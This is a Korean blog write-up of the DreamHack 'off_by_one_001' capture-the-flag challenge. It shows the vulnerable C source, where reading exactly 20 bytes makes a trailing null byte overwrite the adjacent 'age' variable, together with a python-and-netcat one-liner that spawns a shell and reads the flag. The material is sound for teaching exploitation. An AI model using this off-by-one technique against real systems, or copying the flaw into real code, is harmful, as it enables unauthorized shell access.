Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
age를 0으로 만들어주면 된다 아까 이전문제에서 이야기 했던, 널문자로 다음 스택주소값을 덮어씌워주는 현상이다. 최대 길이를 줄때 발생한다.
vared@ubuntu:~/hacking/dreamhack$ (python -c 'print "A"*20';cat)|nc host1.dreamhack.games 9721
Name: 20Are you baby?
ls
flag
off_by_one_001
cat flag
DH{-----flag-----}
'WriteUp > DreamHack' 카테고리의 다른 글
DreamHack : ssp_001 (0) | 2020.11.19 |
---|---|
DreamHack : ssp_000 (0) | 2020.11.19 |
DreamHack : Sint (0) | 2020.11.19 |
DreamHack : Out_of_bound (0) | 2020.11.19 |
DreamHack : off_by_one_000 (0) | 2020.11.19 |